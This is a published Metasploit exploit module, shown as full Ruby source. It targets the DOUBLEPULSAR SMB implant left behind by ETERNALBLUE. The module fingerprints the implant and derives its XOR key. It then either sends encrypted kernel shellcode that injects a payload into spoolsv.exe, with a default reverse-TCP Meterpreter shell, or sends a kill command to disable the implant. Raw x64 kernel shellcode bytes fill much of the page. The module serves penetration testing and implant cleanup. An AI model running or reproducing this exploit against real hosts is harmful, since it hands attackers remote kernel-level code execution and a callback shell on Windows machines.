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DOUBLEPULSAR Payload Execution / Neutralization

DOUBLEPULSAR Payload Execution / Neutralization
Posted Oct 1, 2019
Authored by Luke Jennings, wvu, Shadow Brokers, Equation Group, zerosum0x0, Jacob Robles | Site metasploit.com

This Metasploit module executes a Metasploit payload against the Equation Group's DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE. While this module primarily performs code execution against the implant, the "Neutralize implant" target allows you to disable the implant.

tags | exploit, code execution
advisories | CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148
MD5 | d3c3fbee7204613a4c2d9dde14bd8c7f

DOUBLEPULSAR Payload Execution / Neutralization

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::SMB::Client

MAX_SHELLCODE_SIZE = 4096

def initialize(info = {})
super(update_info(info,
'Name' => 'DOUBLEPULSAR Payload Execution and Neutralization',
'Description' => %q{
This module executes a Metasploit payload against the Equation Group's
DOUBLEPULSAR implant for SMB as popularly deployed by ETERNALBLUE.

While this module primarily performs code execution against the implant,
the "Neutralize implant" target allows you to disable the implant.
},
'Author' => [
'Equation Group', # DOUBLEPULSAR implant
'Shadow Brokers', # Equation Group dump
'zerosum0x0', # DOPU analysis and detection
'Luke Jennings', # DOPU analysis and detection
'wvu', # Metasploit module and arch detection
'Jacob Robles' # Metasploit module and RCE help
],
'References' => [
['MSB', 'MS17-010'],
['CVE', '2017-0143'],
['CVE', '2017-0144'],
['CVE', '2017-0145'],
['CVE', '2017-0146'],
['CVE', '2017-0147'],
['CVE', '2017-0148'],
['URL', 'https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html'],
['URL', 'https://countercept.com/blog/analyzing-the-doublepulsar-kernel-dll-injection-technique/'],
['URL', 'https://www.countercept.com/blog/doublepulsar-usermode-analysis-generic-reflective-dll-loader/'],
['URL', 'https://github.com/countercept/doublepulsar-detection-script'],
['URL', 'https://github.com/countercept/doublepulsar-c2-traffic-decryptor'],
['URL', 'https://gist.github.com/msuiche/50a36710ee59709d8c76fa50fc987be1']
],
'DisclosureDate' => '2017-04-14',
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Privileged' => true,
'Payload' => {
'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,
'DisableNops' => true
},
'Targets' => [
['Execute payload', {}],
['Neutralize implant', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
},
'Notes' => {
'AKA' => ['DOUBLEPULSAR'],
'RelatedModules' => [
'auxiliary/scanner/smb/smb_ms17_010',
'exploit/windows/smb/ms17_010_eternalblue'
],
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION]
}
))

register_advanced_options([
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),
OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])
])
end

OPCODES = {
ping: 0x23,
exec: 0xc8,
kill: 0x77
}

STATUS_CODES = {
not_detected: 0x00,
success: 0x10,
invalid_params: 0x20,
alloc_failure: 0x30
}

def calculate_doublepulsar_status(m1, m2)
STATUS_CODES.key(m2.to_i - m1.to_i)
end

# algorithm to calculate the XOR Key for DoublePulsar knocks
def calculate_doublepulsar_xor_key(s)
x = (2 * s ^ (((s & 0xff00 | (s << 16)) << 8) | (((s >> 16) | s & 0xff0000) >> 8)))
x & 0xffffffff # this line was added just to truncate to 32 bits
end

# The arch is adjacent to the XOR key in the SMB signature
def calculate_doublepulsar_arch(s)
s == 0 ? ARCH_X86 : ARCH_X64
end

def generate_doublepulsar_timeout(op)
k = SecureRandom.random_bytes(4).unpack('V').first
0xff & (op - ((k & 0xffff00) >> 16) - (0xffff & (k & 0xff00) >> 8)) | k & 0xffff00
end

def generate_doublepulsar_param(op, body)
case OPCODES.key(op)
when :ping, :kill
"\x00" * 12
when :exec
Rex::Text.xor([@xor_key].pack('V'), [body.length, body.length, 0].pack('V*'))
end
end

def check
ipc_share = "\\\\#{rhost}\\IPC$"

@tree_id = do_smb_setup_tree(ipc_share)
vprint_good("Connected to #{ipc_share} with TID = #{@tree_id}")
vprint_status("Target OS is #{smb_peer_os}")

vprint_status('Sending ping to DOUBLEPULSAR')
code, signature1, signature2 = do_smb_doublepulsar_pkt
msg = 'Host is likely INFECTED with DoublePulsar!'

case calculate_doublepulsar_status(@multiplex_id, code)
when :success
@xor_key = calculate_doublepulsar_xor_key(signature1)
@arch = calculate_doublepulsar_arch(signature2)

arch_str =
case @arch
when ARCH_X86
'x86 (32-bit)'
when ARCH_X64
'x64 (64-bit)'
end

vprint_good("#{msg} - Arch: #{arch_str}, XOR Key: 0x#{@xor_key.to_s(16).upcase}")
CheckCode::Vulnerable
when :not_detected
vprint_error('DOUBLEPULSAR not detected or disabled')
CheckCode::Safe
else
vprint_error('An unknown error occurred')
CheckCode::Unknown
end
end

def exploit
if datastore['DefangedMode']
warning = <<~EOF


Are you SURE you want to execute code against a nation-state implant?
You MAY contaminate forensic evidence if there is an investigation.

Disable the DefangedMode option if you have authorization to proceed.
EOF

fail_with(Failure::BadConfig, warning)
end

# No ForceExploit because @tree_id and @xor_key are required
unless check == CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
end

case target.name
when 'Execute payload'
unless @xor_key
fail_with(Failure::NotFound, 'XOR key not found')
end

if @arch == ARCH_X86
fail_with(Failure::NoTarget, 'x86 is not a supported target')
end

print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
shellcode << Rex::Text.rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
vprint_status("Total shellcode length: #{shellcode.length} bytes")

print_status("Encrypting shellcode with XOR key 0x#{@xor_key.to_s(16).upcase}")
xor_shellcode = Rex::Text.xor([@xor_key].pack('V'), shellcode)

print_status('Sending shellcode to DOUBLEPULSAR')
code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:exec], xor_shellcode)
when 'Neutralize implant'
return neutralize_implant
end

case calculate_doublepulsar_status(@multiplex_id, code)
when :success
print_good('Payload execution successful')
when :invalid_params
fail_with(Failure::BadConfig, 'Invalid parameters were specified')
when :alloc_failure
fail_with(Failure::PayloadFailed, 'An allocation failure occurred')
else
fail_with(Failure::Unknown, 'An unknown error occurred')
end
ensure
disconnect
end

def neutralize_implant
print_status('Neutralizing DOUBLEPULSAR')
code, _signature1, _signature2 = do_smb_doublepulsar_pkt(OPCODES[:kill])

case calculate_doublepulsar_status(@multiplex_id, code)
when :success
print_good('Implant neutralization successful')
else
fail_with(Failure::Unknown, 'An unknown error occurred')
end
end

def do_smb_setup_tree(ipc_share)
connect

# logon as user \
simple.login(datastore['SMBName'], datastore['SMBUser'], datastore['SMBPass'], datastore['SMBDomain'])

# connect to IPC$
simple.connect(ipc_share)

# return tree
simple.shares[ipc_share]
end

def do_smb_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)
# make doublepulsar knock
pkt = make_smb_trans2_doublepulsar(opcode, body)

sock.put(pkt)
bytes = sock.get_once

return unless bytes

# convert packet to response struct
pkt = Rex::Proto::SMB::Constants::SMB_TRANS_RES_HDR_PKT.make_struct
pkt.from_s(bytes[4..-1])

return pkt['SMB'].v['MultiplexID'], pkt['SMB'].v['Signature1'], pkt['SMB'].v['Signature2']
end

def make_smb_trans2_doublepulsar(opcode, body)
setup_count = 1
setup_data = [0x000e].pack('v')

param = generate_doublepulsar_param(opcode, body)
data = param + body.to_s

pkt = Rex::Proto::SMB::Constants::SMB_TRANS2_PKT.make_struct
simple.client.smb_defaults(pkt['Payload']['SMB'])

base_offset = pkt.to_s.length + (setup_count * 2) - 4
param_offset = base_offset
data_offset = param_offset + param.length

pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
pkt['Payload']['SMB'].v['Flags1'] = 0x18
pkt['Payload']['SMB'].v['Flags2'] = 0xc007

@multiplex_id = rand(0xffff)

pkt['Payload']['SMB'].v['WordCount'] = 14 + setup_count
pkt['Payload']['SMB'].v['TreeID'] = @tree_id
pkt['Payload']['SMB'].v['MultiplexID'] = @multiplex_id

pkt['Payload'].v['ParamCountTotal'] = param.length
pkt['Payload'].v['DataCountTotal'] = body.to_s.length
pkt['Payload'].v['ParamCountMax'] = 1
pkt['Payload'].v['DataCountMax'] = 0
pkt['Payload'].v['ParamCount'] = param.length
pkt['Payload'].v['ParamOffset'] = param_offset
pkt['Payload'].v['DataCount'] = body.to_s.length
pkt['Payload'].v['DataOffset'] = data_offset
pkt['Payload'].v['SetupCount'] = setup_count
pkt['Payload'].v['SetupData'] = setup_data
pkt['Payload'].v['Timeout'] = generate_doublepulsar_timeout(opcode)
pkt['Payload'].v['Payload'] = data

pkt.to_s
end

# ring3 = user mode encoded payload
# proc_name = process to inject APC into
def make_kernel_user_payload(ring3, proc_name)
sc = make_kernel_shellcode(proc_name)

sc << [ring3.length].pack("S<")
sc << ring3

sc
end

def generate_process_hash(process)
# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
proc_hash = 0
process << "\x00"

process.each_byte do |c|
proc_hash = ror(proc_hash, 13)
proc_hash += c
end

[proc_hash].pack('l<')
end

def ror(dword, bits)
(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
end

def make_kernel_shellcode(proc_name)
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
# Length: 780 bytes
"\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" +
"\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" +
"\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" +
"\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" +
"\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" +
"\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" +
"\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" +
"\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" +
"\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" +
"\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" +
"\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" +
"\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" +
"\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +
generate_process_hash(proc_name.upcase) +
"\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" +
"\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" +
"\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" +
"\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" +
"\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" +
"\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" +
"\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" +
"\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" +
"\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" +
"\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" +
"\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" +
"\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" +
"\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" +
"\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" +
"\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" +
"\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" +
"\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" +
"\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" +
"\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" +
"\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" +
"\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" +
"\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" +
"\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" +
"\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" +
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" +
"\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" +
"\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" +
"\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" +
"\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" +
"\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" +
"\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" +
"\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" +
"\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" +
"\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" +
"\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" +
"\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"
end

def kernel_shellcode_size
make_kernel_shellcode('').length
end

end
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